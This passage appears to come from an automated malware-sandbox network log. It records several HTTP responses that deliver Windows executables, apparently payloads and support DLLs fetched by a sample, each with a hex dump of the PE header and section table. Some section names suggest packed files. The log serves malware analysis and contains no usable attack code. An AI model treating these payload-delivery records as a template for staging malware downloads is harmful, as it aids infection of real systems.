00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 01 Jul 2024 22:05:43 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Mon, 01 Jul 2024 20:58:38 GMTConnection: keep-aliveETag: "6683187e-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 60 e1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 3c 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 3c 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6b 62 65 75 62 71 76 00 80 19 00 00 c0 30 00 00 80 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 62 62 74 67 71 74 7a 00 10 00 00 00 40 4a 00 00 06 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 01 Jul 2024 22:05:53 GMTContent-Type: application/octet-streamContent-Length: 2520576Last-Modified: Mon, 01 Jul 2024 12:19:06 GMTConnection: keep-aliveETag: "66829eba-267600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 24 fc be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 00 9d 00 f2 0d 00 00 14 0e 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 50 22 00 00 d0 9c 00 00 42 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:56 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 30 Jun 2024 07:52:30 GMTETag: "81000-61c16c33a5f2a"Accept-Ranges: bytesContent-Length: 528384Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed bc 81 78 a9 dd ef 2b a9 dd ef 2b a9 dd ef 2b 7a af ec 2a b8 dd ef 2b 7a af ea 2a 00 dd ef 2b 7a af eb 2a bf dd ef 2b 6b 5c eb 2a bb dd ef 2b 6b 5c ec 2a bc dd ef 2b 7a af ee 2a ae dd ef 2b a9 dd ee 2b 28 dd ef 2b 6b 5c ea 2a fc dd ef 2b 5a 5f ea 2a a8 dd ef 2b 5a 5f ef 2a a8 dd ef 2b 5a 5f ed 2a a8 dd ef 2b 52 69 63 68 a9 dd ef 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b7 0e 81 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 40 02 00 00 dc 05 00 00 00 00 00 52 74 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 f5 02 00 50 00 00 00 10 f6 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 08 00 1c 1d 00 00 68 d8 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d7 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 2e 02 00 00 10 00 00 00 30 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 1d 0e 00 00 00 40 02 00 00 10 00 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 ae 00 00 00 50 02 00 00 b0 00 00 00 44 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f4 0c 05 00 00 00 03 00 00 fe 04 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 1c 1d 00 00 00 10 08 00 00 1e 00 00 00 f2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 